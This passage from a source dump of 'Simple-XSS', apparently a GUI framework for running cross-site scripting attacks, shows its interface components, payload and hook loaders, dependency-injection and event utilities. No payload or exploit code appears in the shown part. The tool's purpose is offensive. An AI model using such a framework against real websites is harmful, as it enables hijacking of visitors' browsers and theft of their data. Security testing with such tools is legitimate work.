62 | ft.Container( 63 | content=self._payload_author_text, 64 | alignment=ft.alignment.bottom_right, 65 | 66 | ) 67 | ] 68 | ) 69 | ) 70 | 71 | async def _handle_change_payload(self, e): 72 | await self.update_async() 73 | 74 | async def _update_container(self): 75 | self._container.disabled = self.context.process_running 76 | await self._container.update_async() 77 | 78 | def _update_payload_info(self): 79 | payload = self._manager.get_package(self._payload_dropdown.value) 80 | 81 | if payload: 82 | self._payload_author_text.value = f'@{payload.AUTHOR}' 83 | self._payload_description_text.value = str(payload.DESCRIPTION) 84 | 85 | def _update_payload_options(self): 86 | options = [ 87 | payload.NAME 88 | for payload in self._manager.packages 89 | ] 90 | self._payload_dropdown.options = [ 91 | ft.dropdown.Option(option) 92 | for option in options 93 | ] 94 | 95 | if self._payload_dropdown.value not in options: 96 | self._payload_dropdown.value = None 97 | 98 | async def setup_async(self): 99 | self._payload_dropdown.value = self.context.settings.payload.current 100 | await self.update_async() 101 | 102 | async def update_async(self): 103 | self._update_payload_options() 104 | self._update_payload_info() 105 | await self._update_container() 106 | 107 | async def validate_async(self): 108 | if self._payload_dropdown.value is None: 109 | raise ValidationError('Please choose payload') 110 | 111 | async def save_async(self): 112 | self.context.settings.payload.current = self._payload_dropdown.value 113 | 114 | def build(self): 115 | return self._container 116 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/components/process.py: -------------------------------------------------------------------------------- 1 | import flet as ft 2 | import pyperclip 3 | 4 | from .constants import ICON_SIZE 5 | from .enums import Messages 6 | from ..types import BaseComponent 7 | from ..channels import GUIChannel 8 | 9 | 10 | class ProcessControlBox(BaseComponent): 11 | def __init__(self): 12 | self._launch_button = ft.IconButton( 13 | icon=ft.icons.PLAY_ARROW, 14 | icon_size=ICON_SIZE, 15 | icon_color=ft.colors.GREEN, 16 | tooltip=Messages.RUN, 17 | on_click=self._launch_process, 18 | ) 19 | 20 | self._terminate_button = ft.IconButton( 21 | icon=ft.icons.STOP, 22 | icon_size=ICON_SIZE, 23 | icon_color=ft.colors.RED, 24 | disabled=True, 25 | tooltip=Messages.STOP, 26 | on_click=self._terminate_process, 27 | ) 28 | self._copy_button = ft.IconButton( 29 | icon=ft.icons.COPY, 30 | icon_size=ICON_SIZE, 31 | icon_color=ft.colors.BLUE, 32 | tooltip=Messages.COPY, 33 | on_click=self._handle_copy, 34 | ) 35 | self._hook_field = ft.TextField( 36 | disabled=True, 37 | border_color=ft.colors.OUTLINE, 38 | read_only=True, 39 | hint_text=Messages.HOOK 40 | ) 41 | self._container = ft.Row( 42 | controls=[ 43 | ft.Column( 44 | controls=[ 45 | self._launch_button 46 | ] 47 | ), 48 | 49 | ft.Column( 50 | controls=[ 51 | self._terminate_button 52 | ] 53 | ), 54 | ft.Column( 55 | expand=True, 56 | controls=[ 57 | self._hook_field 58 | ] 59 | ), 60 | ft.Column( 61 | controls=[ 62 | self._copy_button 63 | ] 64 | ), 65 | ] 66 | ) 67 | 68 | async def _launch_process(self, e): 69 | await GUIChannel.process_launched.publish_async() 70 | 71 | async def _terminate_process(self, e): 72 | await GUIChannel.process_terminated.publish_async() 73 | 74 | async def _handle_copy(self, e): 75 | pyperclip.copy(self._hook_field.value) 76 | 77 | async def update_async(self): 78 | self._hook_field.disabled = not self.context.process_running 79 | self._terminate_button.disabled = not self.context.process_running 80 | self._launch_button.disabled = self.context.process_running 81 | self._copy_button.disabled = not self.context.process_running 82 | 83 | self._hook_field.value = self.context.hook if self.context.process_running else None 84 | 85 | await self._container.update_async() 86 | 87 | def build(self): 88 | return self._container 89 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/containers.py: -------------------------------------------------------------------------------- 1 | from simplexss.core.containers import CoreContainer 2 | from simplexss.utils.di import ( 3 | containers, 4 | dependencies 5 | ) 6 | from .components import ( 7 | MainBox, 8 | NetworkBox, 9 | HookBox, 10 | PayloadBox, 11 | ProcessControlBox, 12 | MessageAreaBox, 13 | MessageControlBox 14 | ) 15 | from .banners import ( 16 | ErrorBanner, 17 | WarningBanner, 18 | ) 19 | from .managers import ComponentManager 20 | from simplexss.core.ui.contexts import UIContext 21 | 22 | 23 | class GUIContainer(containers.Container): 24 | main_page = dependencies.Dependency() 25 | 26 | error_banner = dependencies.Factory(ErrorBanner) 27 | warning_banner = dependencies.Factory(WarningBanner) 28 | 29 | network_box = dependencies.Factory(NetworkBox, kwargs={ 30 | 'tunneling_factory': CoreContainer.tunneling_service_factory, 31 | 'transport_factory': CoreContainer.transport_service_factory, 32 | }) 33 | hook_box = dependencies.Factory(HookBox, kwargs={ 34 | 'manager': CoreContainer.hook_manager, 35 | 'transport_factory': CoreContainer.transport_service_factory, 36 | }) 37 | payload_box = dependencies.Factory(PayloadBox, kwargs={ 38 | 'manager': CoreContainer.payload_manager, 39 | }) 40 | process_control_box = dependencies.Factory(ProcessControlBox) 41 | message_area_box = dependencies.Factory(MessageAreaBox, kwargs={ 42 | 'io_manager': CoreContainer.io_manager, 43 | }) 44 | message_control_box = dependencies.Factory(MessageControlBox, kwargs={ 45 | 'io_manager': CoreContainer.io_manager, 46 | }) 47 | 48 | main_box = dependencies.Factory(MainBox, kwargs={ 49 | 'network_box': network_box, 50 | 'hook_box': hook_box, 51 | 'payload_box': payload_box, 52 | 'process_control_box': process_control_box, 53 | 'message_area_box': message_area_box, 54 | 'message_control_box': message_control_box 55 | }) 56 | 57 | gui_manager = dependencies.Factory( 58 | ComponentManager, 59 | kwargs={ 60 | 'component': main_box, 61 | 'page': main_page, 62 | 'context': CoreContainer.ui_context, 63 | 'error_banner': error_banner, 64 | 'warning_banner': warning_banner, 65 | } 66 | ) 67 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/exceptions.py: -------------------------------------------------------------------------------- 1 | class ValidationError(Exception): 2 | pass 3 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/gui.py: -------------------------------------------------------------------------------- 1 | import flet as ft 2 | 3 | from simplexss.core.containers import CoreContainer 4 | from simplexss.core.logging import logger 5 | from simplexss.core.schemas import ( 6 | ArgumentsSchema, 7 | SettingsSchema 8 | ) 9 | from simplexss.core.config import ( 10 | APP, 11 | VERSION, 12 | MIN_RESOLUTION, 13 | 14 | ) 15 | from simplexss.utils.di import inject 16 | from .channels import GUIChannel 17 | from .containers import GUIContainer 18 | from ..types import BaseUI 19 | from ..channels import UIChannel 20 | 21 | 22 | class GUI(BaseUI): 23 | mode = 'gui' 24 | 25 | @inject 26 | def __init__( 27 | self, 28 | arguments: ArgumentsSchema = CoreContainer.arguments, 29 | settings: SettingsSchema = CoreContainer.settings 30 | ): 31 | self._arguments: ArgumentsSchema = arguments 32 | self._settings: SettingsSchema = settings 33 | 34 | logger.info('GUI initialized') 35 | UIChannel.ui_initialized.publish() 36 | 37 | async def _init_page(self, page: ft.Page): 38 | GUIContainer.main_page.bind(page) 39 | 40 | graphic_settings = self._settings.graphics 41 | resolution = graphic_settings.resolution 42 | page.theme_mode = graphic_settings.theme 43 | page.window_width = resolution[0] 44 | page.window_height = resolution[1] 45 | page.window_min_width = MIN_RESOLUTION[0] 46 | page.window_min_height = MIN_RESOLUTION[1] 47 | page.title = f'{APP} - V{VERSION}' 48 | 49 | manager = GUIContainer.gui_manager.value 50 | await manager.show() 51 | 52 | async def update(self): 53 | await GUIChannel.need_update.publish_async() 54 | 55 | async def run(self): 56 | await ft.app_async(self._init_page, ) 57 | 58 | logger.info('GUI terminated') 59 | await UIChannel.ui_terminated.publish_async() 60 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/managers.py: -------------------------------------------------------------------------------- 1 | import flet as ft 2 | 3 | from simplexss.core.ui.contexts import UIContext 4 | from .exceptions import ValidationError 5 | from .types import ( 6 | BaseComponentManager, 7 | BaseComponent, 8 | BaseBanner, 9 | ) 10 | from .channels import GUIChannel 11 | from ..channels import UIChannel 12 | 13 | 14 | class ComponentManager(BaseComponentManager): 15 | def __init__( 16 | self, 17 | page: ft.Page, 18 | component: BaseComponent, 19 | context: UIContext, 20 | error_banner: BaseBanner, 21 | warning_banner: BaseBanner 22 | ): 23 | self._page = page 24 | self._component = component 25 | self._error_banner = error_banner 26 | self._warning_banner = warning_banner 27 | self._context = context 28 | 29 | BaseComponent.page = page 30 | BaseComponent.context = context 31 | 32 | GUIChannel.need_update.subscribe(self._update_comps) 33 | GUIChannel.process_launched.subscribe(self._handle_process_launched) 34 | GUIChannel.process_terminated.subscribe(self._handle_process_terminated) 35 | UIChannel.show_error.subscribe(self._handle_error) 36 | 37 | async def _handle_process_launched(self): 38 | self._context.process_running = True 39 | try: 40 | await self._validate_comps() 41 | except ValidationError as e: 42 | await self._error_banner.show(self._page, str(e)) 43 | self._context.process_running = False 44 | await self._update_comps() 45 | return 46 | await self._save_comps() 47 | await self._update_comps() 48 | await UIChannel.process_launched.publish_async() 49 | 50 | async def _handle_process_terminated(self): 51 | self._context.process_running = False 52 | await self._update_comps() 53 | await UIChannel.process_terminated.publish_async() 54 | 55 | async def _handle_error(self, error: str): 56 | self._context.process_running = False 57 | await self._error_banner.show(self._page, error) 58 | await self._update_comps() 59 | 60 | async def _setup_comps(self): 61 | for component in BaseComponent.components: 62 | await component.setup_async() 63 | 64 | async def _update_comps(self): 65 | for component in BaseComponent.components: 66 | await component.update_async() 67 | 68 | async def _validate_comps(self): 69 | for component in BaseComponent.components: 70 | await component.validate_async() 71 | 72 | async def _save_comps(self): 73 | for component in BaseComponent.components: 74 | await component.save_async() 75 | 76 | async def show(self): 77 | await self._page.add_async(self._component.build()) 78 | await self._setup_comps() 79 | await self._update_comps() 80 | 81 | async def hide(self): 82 | await self._page.clean_async() 83 | await self._page.update_async() 84 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/types.py: -------------------------------------------------------------------------------- 1 | from abc import ( 2 | ABC, 3 | abstractmethod 4 | ) 5 | 6 | import flet as ft 7 | 8 | from simplexss.core.ui.contexts import UIContext 9 | 10 | 11 | class BaseComponent(ABC): 12 | context: UIContext = None 13 | page: ft.Page = None 14 | overlay = [] 15 | components = [] 16 | 17 | def __new__(cls, *args, **kwargs): 18 | instance = super().__new__(cls) 19 | cls.components.append(instance) 20 | return instance 21 | 22 | async def setup_async(self): 23 | pass 24 | 25 | async def update_async(self): 26 | pass 27 | 28 | async def validate_async(self): 29 | pass 30 | 31 | async def save_async(self): 32 | pass 33 | 34 | @abstractmethod 35 | def build(self): ... 36 | 37 | 38 | class BaseComponentManager(ABC): 39 | 40 | @abstractmethod 41 | async def show(self): ... 42 | 43 | @abstractmethod 44 | async def hide(self): ... 45 | 46 | 47 | class BaseBanner(ft.Banner): 48 | @abstractmethod 49 | async def show(self, page: ft.Page, message: str): ... 50 | 51 | @abstractmethod 52 | async def hide(self): ... 53 | -------------------------------------------------------------------------------- /simplexss/core/ui/types.py: -------------------------------------------------------------------------------- 1 | from abc import ( 2 | ABC, 3 | abstractmethod 4 | ) 5 | 6 | 7 | class BaseUI(ABC): 8 | mode: str 9 | 10 | @abstractmethod 11 | async def update(self): ... 12 | 13 | @abstractmethod 14 | async def run(self): ... 15 | 16 | 17 | class BaseUIFactory(ABC): 18 | @abstractmethod 19 | def create(self, mode: str) -> BaseUI: ... 20 | 21 | @abstractmethod 22 | def get_ui(self, mode: str) -> type[BaseUI] | None: ... 23 | -------------------------------------------------------------------------------- /simplexss/core/utils.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | from simplexss.core.config import ( 4 | PAYLOAD_FILE, 5 | HOOK_FILE, 6 | ) 7 | from simplexss.core.logging import logger 8 | from simplexss.core.schemas import SettingsSchema 9 | from simplexss.core.containers import CoreContainer 10 | from simplexss.core.config import ( 11 | PLUGINS_DIRECTORY, 12 | PLUGIN_FILE 13 | ) 14 | from simplexss.utils.di import inject 15 | from simplexss.utils.packages import ( 16 | BasePackage, 17 | BasePackageManager 18 | ) 19 | 20 | 21 | @inject 22 | def load_plugins( 23 | cls: BasePackage = CoreContainer.plugin_class, 24 | manager: BasePackageManager = CoreContainer.plugin_manager 25 | ): 26 | os.makedirs(PLUGINS_DIRECTORY, exist_ok=True) 27 | 28 | manager.load_packages( 29 | PLUGINS_DIRECTORY, 30 | class_name='Plugin', 31 | base_class=cls, 32 | file=PLUGIN_FILE, 33 | ) 34 | logger.info(f'Plugins loaded') 35 | 36 | 37 | @inject 38 | def load_hooks( 39 | cls: BasePackage = CoreContainer.hook_class, 40 | manager: BasePackageManager = CoreContainer.hook_manager, 41 | settings: SettingsSchema = CoreContainer.settings 42 | ): 43 | os.makedirs(settings.hook.directory, exist_ok=True) 44 | 45 | manager.load_packages( 46 | settings.hook.directory, 47 | class_name='Hook', 48 | base_class=cls, 49 | file=HOOK_FILE, 50 | ) 51 | logger.info('Hooks loaded') 52 | 53 | 54 | @inject 55 | def load_payloads( 56 | cls: BasePackage = CoreContainer.payload_class, 57 | manager: BasePackageManager = CoreContainer.payload_manager, 58 | settings: SettingsSchema = CoreContainer.settings 59 | ): 60 | os.makedirs(settings.payload.directory, exist_ok=True) 61 | 62 | manager.load_packages( 63 | settings.payload.directory, 64 | class_name='Payload', 65 | base_class=cls, 66 | file=PAYLOAD_FILE, 67 | ) 68 | logger.info('Payloads loaded') 69 | -------------------------------------------------------------------------------- /simplexss/utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/simplexss/utils/__init__.py -------------------------------------------------------------------------------- /simplexss/utils/arguments/__init__.py: -------------------------------------------------------------------------------- 1 | from .types import BaseSchemedArgumentParser 2 | from .parsers import SchemedArgumentParser 3 | 4 | __all__ = [ 5 | 'BaseSchemedArgumentParser', 6 | 'SchemedArgumentParser', 7 | ] 8 | -------------------------------------------------------------------------------- /simplexss/utils/arguments/logging.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | logger = logging.getLogger('utils.arguments') 4 | -------------------------------------------------------------------------------- /simplexss/utils/arguments/parsers.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import inspect 3 | 4 | from typing import ( 5 | Container, 6 | Sequence 7 | ) 8 | from enum import Enum 9 | 10 | from pydantic import BaseModel 11 | 12 | from .types import BaseSchemedArgumentParser 13 | from .logging import logger 14 | 15 | 16 | class SchemedArgumentParser(BaseSchemedArgumentParser): 17 | def __init__( 18 | self, 19 | schema: type[BaseModel], 20 | *, 21 | ignore_fields: Container[str] | None = None, 22 | positional_arguments: Container[str] | None = None, 23 | short_aliases: dict[str, str] | None = None, 24 | **kwargs 25 | ): 26 | super(SchemedArgumentParser, self).__init__(**kwargs) 27 | self._schema = schema 28 | self._ignore_fields = ignore_fields or set() 29 | self._positional_arguments = positional_arguments or set() 30 | self._short_aliases = short_aliases or {} 31 | 32 | if schema: 33 | self._add_arguments_from_schema() 34 | 35 | @staticmethod 36 | def _is_enum(enum) -> bool: 37 | return inspect.isclass(enum) and issubclass(enum, Enum) 38 | 39 | def _is_positional_argument(self, name: str): 40 | return name in self._positional_arguments 41 | 42 | def _get_argument_type(self, field_info): 43 | field_type = field_info.annotation 44 | 45 | if self._is_enum(field_type): 46 | if issubclass(field_type, int): 47 | return int 48 | return str 49 | 50 | return field_type 51 | 52 | def _add_field_argument(self, field_name: str, field_info): 53 | field_type = field_info.annotation 54 | actual_name = field_info.alias or field_name 55 | short_name = self._short_aliases.get( 56 | field_name, 57 | self._short_aliases.get(actual_name, actual_name) 58 | ).removeprefix('-').removeprefix('--')[0] 59 | 60 | args = [] 61 | kwargs = { 62 | 'default': field_info.default, 63 | 'help': field_info.description, 64 | 'type': self._get_argument_type(field_info) 65 | } 66 | 67 | if self._is_positional_argument(name=actual_name): 68 | if not field_info.is_required(): 69 | kwargs.update({'nargs': '?'}) 70 | 71 | args.append(actual_name) 72 | else: 73 | args.extend((f'-{short_name}', f'--{actual_name}')) 74 | 75 | if self._is_enum(field_type): 76 | kwargs.update({ 77 | 'choices': tuple(map(lambda c: c.value, field_type)) 78 | }) 79 | 80 | self.add_argument( 81 | *args, 82 | **kwargs 83 | ) 84 | 85 | def _add_arguments_from_schema(self): 86 | fields = self._schema.model_fields 87 | 88 | for name, info in fields.items(): 89 | if name in self._ignore_fields: 90 | continue 91 | 92 | self._add_field_argument( 93 | field_name=name, 94 | field_info=info 95 | ) 96 | 97 | def parse_schemed_args( 98 | self, 99 | args: Sequence[str] | None = None, 100 | namespace: argparse.Namespace | None = None 101 | ) -> BaseModel: 102 | namespace = self.parse_args(args=args, namespace=namespace) 103 | 104 | data = self._schema.model_validate(namespace.__dict__) 105 | logger.info(f'Arguments parsed: {data}') 106 | return data 107 | -------------------------------------------------------------------------------- /simplexss/utils/arguments/types.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | from abc import ( 3 | ABC, 4 | abstractmethod 5 | ) 6 | from typing import Sequence 7 | 8 | from pydantic import BaseModel 9 | 10 | 11 | class BaseSchemedArgumentParser(argparse.ArgumentParser, ABC): 12 | @abstractmethod 13 | def parse_schemed_args( 14 | self, 15 | args: Sequence[str] | None = None, 16 | namespace: argparse.Namespace | None = None 17 | ) -> BaseModel: ... 18 | -------------------------------------------------------------------------------- /simplexss/utils/clsutils/__init__.py: -------------------------------------------------------------------------------- 1 | from .generators import ( 2 | iter_instances, 3 | iter_subclasses 4 | ) 5 | 6 | 7 | __all__ = [ 8 | 'iter_instances', 9 | 'iter_subclasses', 10 | ] 11 | -------------------------------------------------------------------------------- /simplexss/utils/clsutils/generators.py: -------------------------------------------------------------------------------- 1 | import gc 2 | from typing import Generator 3 | 4 | 5 | def iter_subclasses(cls: type, max_level: int = -1) -> Generator: 6 | if max_level == 0: 7 | return 8 | 9 | for subcls in cls.__subclasses__(): 10 | yield subcls 11 | for subsubcls in iter_subclasses(subcls, max_level - 1): 12 | yield subsubcls 13 | 14 | 15 | def iter_instances(cls: type, precise: bool = True) -> Generator: 16 | for instance in gc.get_objects(): 17 | if isinstance(instance, cls): 18 | instance_cls = instance.__class__ 19 | if not precise: 20 | yield instance 21 | elif instance_cls == cls: 22 | yield instance 23 | -------------------------------------------------------------------------------- /simplexss/utils/di/__init__.py: -------------------------------------------------------------------------------- 1 | from .utils import ( 2 | inject, 3 | async_inject, 4 | setup 5 | ) 6 | 7 | __all__ = [ 8 | 'inject', 9 | 'async_inject', 10 | 'setup', 11 | ] 12 | -------------------------------------------------------------------------------- /simplexss/utils/di/containers/__init__.py: -------------------------------------------------------------------------------- 1 | from .container import Container 2 | 3 | __all__ = [ 4 | 'Container', 5 | ] 6 | -------------------------------------------------------------------------------- /simplexss/utils/di/containers/container.py: -------------------------------------------------------------------------------- 1 | from typing import Collection 2 | 3 | from ..types import ( 4 | BaseContainer, 5 | BaseDependency 6 | ) 7 | 8 | 9 | class Container(BaseContainer): 10 | @classmethod 11 | @property 12 | def dependencies(cls) -> Collection['BaseDependency']: 13 | return list( 14 | filter( 15 | lambda x: isinstance(x, BaseDependency), 16 | cls.__dict__.values() 17 | ) 18 | ) 19 | 20 | @classmethod 21 | def setup(cls): 22 | pass 23 | -------------------------------------------------------------------------------- /simplexss/utils/di/dependencies/__init__.py: -------------------------------------------------------------------------------- 1 | from .dependency import Dependency 2 | from .factory import Factory 3 | from .singleton import Singleton 4 | 5 | __all__ = [ 6 | 'Dependency', 7 | 'Factory', 8 | 'Singleton', 9 | ] 10 | -------------------------------------------------------------------------------- /simplexss/utils/di/dependencies/basic.py: -------------------------------------------------------------------------------- 1 | from abc import ABC 2 | 3 | from ..types import ( 4 | BaseDependency, 5 | BaseContainer 6 | ) 7 | 8 | 9 | class DependencyBasicFunctionality(BaseDependency, ABC): 10 | def __init__(self): 11 | self._container = None 12 | self._name = None 13 | 14 | def container(self) -> type[BaseContainer]: 15 | return self._container 16 | 17 | def __set_name__(self, owner: type[BaseContainer], name: str): 18 | if not issubclass(owner, BaseContainer): 19 | raise ValueError('Dependency can only be set to a container') 20 | 21 | self._container = owner 22 | self._name = name 23 | -------------------------------------------------------------------------------- /simplexss/utils/di/dependencies/dependency.py: -------------------------------------------------------------------------------- 1 | from contextlib import contextmanager 2 | 3 | from .basic import DependencyBasicFunctionality 4 | 5 | 6 | class Dependency(DependencyBasicFunctionality): 7 | def __init__(self, value: any = None): 8 | self._value = value 9 | super().__init__() 10 | 11 | def bind(self, value: any): 12 | self._value = value 13 | 14 | @contextmanager 15 | def temp_bind(self, value: any): 16 | old_value = self._value 17 | self.bind(value) 18 | 19 | yield 20 | 21 | self.bind(old_value) 22 | 23 | @property 24 | def value(self) -> any: 25 | return self._value 26 | 27 | def __call__(self): 28 | return self.value 29 | -------------------------------------------------------------------------------- /simplexss/utils/di/dependencies/factory.py: -------------------------------------------------------------------------------- 1 | from typing import Callable 2 | 3 | from .basic import DependencyBasicFunctionality 4 | from ..utils import inject_into_kwargs 5 | 6 | 7 | class Factory(DependencyBasicFunctionality): 8 | def __init__(self, factory: Callable, args: tuple = (), kwargs: dict = None): 9 | self._factory = factory 10 | self._args = args 11 | self._kwargs = kwargs or {} 12 | 13 | self._validate_factory() 14 | super().__init__() 15 | 16 | def _validate_factory(self): 17 | if not callable(self._factory): 18 | raise ValueError('Factory must be callable') 19 | 20 | def _create_instance(self): 21 | return self._factory( 22 | *self._args, 23 | **inject_into_kwargs(**self._kwargs), 24 | ) 25 | 26 | @property 27 | def value(self) -> any: 28 | return self._create_instance() 29 | 30 | def bind_factory(self, factory: Callable): 31 | self._factory = factory 32 | self._validate_factory() 33 | 34 | def __call__(self): 35 | return self.value 36 | -------------------------------------------------------------------------------- /simplexss/utils/di/dependencies/singleton.py: -------------------------------------------------------------------------------- 1 | from typing import Callable 2 | 3 | from .factory import Factory 4 | 5 | 6 | class Singleton(Factory): 7 | def __init__(self, factory: Callable, args: tuple = (), kwargs: dict = None): 8 | super().__init__( 9 | factory=factory, 10 | args=args, 11 | kwargs=kwargs 12 | ) 13 | 14 | self._instance = None 15 | 16 | def _validate_instance(self, new): 17 | if self._instance is not None and not isinstance(new, type(self._instance)): 18 | raise TypeError(f'Instance must have a type of {type(self._instance)} not {type(new)}') 19 | 20 | def bind_instance(self, instance: any, strict: bool = True): 21 | if strict: 22 | self._validate_instance(instance) 23 | 24 | self._instance = instance 25 | 26 | @property 27 | def value(self) -> any: 28 | if self._instance is None: 29 | self._instance = self._create_instance() 30 | 31 | return self._instance 32 | -------------------------------------------------------------------------------- /simplexss/utils/di/logging.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | logger = logging.getLogger('utils.di') 4 | -------------------------------------------------------------------------------- /simplexss/utils/di/types.py: -------------------------------------------------------------------------------- 1 | from abc import ( 2 | ABC, 3 | abstractmethod 4 | ) 5 | from typing import Collection 6 | 7 | 8 | class BaseContainer(ABC): 9 | @classmethod 10 | @property 11 | @abstractmethod 12 | def dependencies(cls) -> Collection['BaseDependency']: ... 13 | 14 | @classmethod 15 | @abstractmethod 16 | def setup(cls): ... 17 | 18 | 19 | class BaseDependency(ABC): 20 | @property 21 | @abstractmethod 22 | def container(self) -> type[BaseContainer]: ... 23 | 24 | @property 25 | @abstractmethod 26 | def value(self) -> any: ... 27 | 28 | @abstractmethod 29 | def __call__(self): ... 30 | -------------------------------------------------------------------------------- /simplexss/utils/di/utils/__init__.py: -------------------------------------------------------------------------------- 1 | from .inject import ( 2 | inject, 3 | async_inject, 4 | inject_into_kwargs, 5 | inject_into_params 6 | ) 7 | from .setup import setup 8 | 9 | __all__ = [ 10 | 'inject', 11 | 'async_inject', 12 | 'inject_into_params', 13 | 'inject_into_kwargs', 14 | 'setup', 15 | ] 16 | -------------------------------------------------------------------------------- /simplexss/utils/di/utils/inject.py: -------------------------------------------------------------------------------- 1 | import inspect 2 | from functools import wraps 3 | from typing import Callable 4 | 5 | from ..types import ( 6 | BaseDependency, 7 | ) 8 | 9 | 10 | def inject_into_kwargs(**kwargs) -> dict: 11 | result = {} 12 | 13 | for key, dep in kwargs.items(): 14 | result[key] = dep 15 | if isinstance(dep, BaseDependency): 16 | result[key] = dep.value 17 | return result 18 | 19 | 20 | def inject_into_params(target: Callable) -> dict: 21 | signature = inspect.signature(target) 22 | params = signature.parameters 23 | default_values = { 24 | key: value.default 25 | for key, value in params.items() 26 | if value.default != inspect.Parameter.empty 27 | } 28 | return inject_into_kwargs(**default_values) 29 | 30 | 31 | def async_inject(target: Callable): 32 | @wraps(target) 33 | async def wrapper(*args, **kwargs): 34 | injected = inject_into_params(target) 35 | injected.update(inject_into_kwargs(**kwargs)) 36 | return await target(*args, **injected) 37 | 38 | return wraps(target)(wrapper) 39 | 40 | 41 | def inject(target: Callable): 42 | if inspect.iscoroutinefunction(target): 43 | return async_inject(target) 44 | 45 | @wraps(target) 46 | def wrapper(*args, **kwargs): 47 | injected = inject_into_params(target) 48 | injected.update(inject_into_kwargs(**kwargs)) 49 | return target(*args, **injected) 50 | 51 | return wrapper 52 | -------------------------------------------------------------------------------- /simplexss/utils/di/utils/setup.py: -------------------------------------------------------------------------------- 1 | from ..types import BaseContainer 2 | 3 | from ...clsutils import ( 4 | iter_subclasses, 5 | ) 6 | 7 | 8 | def setup(base: type[BaseContainer] = BaseContainer): 9 | for cls in iter_subclasses(base): 10 | cls: type[BaseContainer] 11 | cls.setup() 12 | -------------------------------------------------------------------------------- /simplexss/utils/events/__init__.py: -------------------------------------------------------------------------------- 1 | from .types import ( 2 | BaseEventChannel, 3 | BaseEvent, 4 | BaseAsyncEvent 5 | ) 6 | from .channels import ( 7 | EventChannel, 8 | ) 9 | from .events import ( 10 | Event, 11 | AsyncEvent 12 | ) 13 | 14 | __all__ = [ 15 | 'BaseEventChannel', 16 | 'BaseEvent', 17 | 'BaseAsyncEvent', 18 | 19 | 'EventChannel', 20 | 'Event', 21 | 'AsyncEvent', 22 | 23 | ] 24 | -------------------------------------------------------------------------------- /simplexss/utils/events/channels.py: -------------------------------------------------------------------------------- 1 | from typing import Collection 2 | 3 | from .types import ( 4 | BaseEvent, 5 | BaseEventChannel 6 | ) 7 | 8 | 9 | class EventChannel(BaseEventChannel): 10 | @classmethod 11 | @property 12 | def events(cls) -> Collection[BaseEvent]: 13 | return list( 14 | filter( 15 | lambda x: isinstance(x, BaseEvent), 16 | cls.__dict__.values() 17 | ) 18 | ) 19 | -------------------------------------------------------------------------------- /simplexss/utils/events/events.py: -------------------------------------------------------------------------------- 1 | import inspect 2 | from typing import Callable, Iterable 3 | from functools import cache 4 | 5 | from .types import ( 6 | BaseEventChannel, 7 | BaseEvent, 8 | BaseAsyncEvent 9 | ) 10 | from .logging import logger 11 | 12 | 13 | class Event(BaseEvent): 14 | def __init__(self, required_kwargs: Iterable[str] = ()): 15 | self._subscribers = [] 16 | self._channel = None 17 | self._name = None 18 | self._required_kwargs = required_kwargs 19 | 20 | @staticmethod 21 | def _validate_callback(callback: Callable): 22 | if not callable(callback): 23 | raise ValueError('Callback must be a callable') 24 | 25 | @staticmethod 26 | @cache 27 | def _has_event_param(callback: Callable) -> bool: 28 | signature = inspect.signature(callback) 29 | params = signature.parameters 30 | return 'event' in params 31 | 32 | def _check_kwargs(self, kwargs: dict): 33 | for arg in self._required_kwargs: 34 | if arg not in kwargs: 35 | raise ValueError(f'Argument is required: {arg}') 36 | 37 | def _inject_event(self, callback: Callable, kwargs: dict): 38 | if self._has_event_param(callback): 39 | kwargs.update({'event': self}) 40 | 41 | def __set_name__(self, owner: type[BaseEventChannel], name: str): 42 | if not issubclass(owner, BaseEventChannel): 43 | raise ValueError('Event can only be set to an event channel') 44 | 45 | self._channel = owner 46 | self._name = name 47 | logger.info(f'Event registered: {name}') 48 | 49 | @property 50 | def channel(self) -> type[BaseEventChannel]: 51 | return self._channel 52 | 53 | def subscribe(self, callback: Callable): 54 | self._validate_callback(callback) 55 | if callback not in self._subscribers: 56 | self._subscribers.append(callback) 57 | logger.debug(f'Callback subscribed to {self._name}: {callback}') 58 | 59 | def publish(self, *args, **kwargs): 60 | self._check_kwargs(kwargs) 61 | for callback in self._subscribers: 62 | self._inject_event(callback, kwargs) 63 | callback(*args, **kwargs) 64 | logger.debug(f'Event published: {self._name}') 65 | 66 | 67 | class AsyncEvent(BaseAsyncEvent, Event): 68 | async def publish_async(self, *args, **kwargs): 69 | self._check_kwargs(kwargs) 70 | for callback in self._subscribers: 71 | self._inject_event(callback, kwargs) 72 | if inspect.iscoroutinefunction(callback): 73 | await callback(*args, **kwargs) 74 | else: 75 | callback(*args, **kwargs) 76 | logger.debug(f'Event published async: {self._name}') 77 | -------------------------------------------------------------------------------- /simplexss/utils/events/logging.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | logger = logging.getLogger('utils.events') 4 | -------------------------------------------------------------------------------- /simplexss/utils/events/types.py: -------------------------------------------------------------------------------- 1 | from abc import ( 2 | ABC, 3 | abstractmethod 4 | ) 5 | from typing import Collection, Callable 6 | 7 | 8 | class BaseEventChannel(ABC): 9 | @classmethod 10 | @property 11 | @abstractmethod 12 | def events(cls) -> Collection['BaseEvent']: ... 13 | 14 | 15 | class BaseEvent(ABC): 16 | @property 17 | @abstractmethod 18 | def channel(self) -> type[BaseEventChannel]: ... 19 | 20 | @abstractmethod 21 | def subscribe(self, callback: Callable): ... 22 | 23 | @abstractmethod 24 | def publish(self, *args, **kwargs): ... 25 | 26 | 27 | class BaseAsyncEvent(BaseEvent): 28 | @abstractmethod 29 | async def publish_async(self, *args, **kwargs): ... 30 | -------------------------------------------------------------------------------- /simplexss/utils/imputils/__init__.py: -------------------------------------------------------------------------------- 1 | from .module import import_module 2 | from .cls import import_class 3 | 4 | __all__ = [ 5 | 'import_class', 6 | 'import_module' 7 | ] 8 | -------------------------------------------------------------------------------- /simplexss/utils/imputils/cls.py: -------------------------------------------------------------------------------- 1 | import inspect 2 | 3 | from .module import 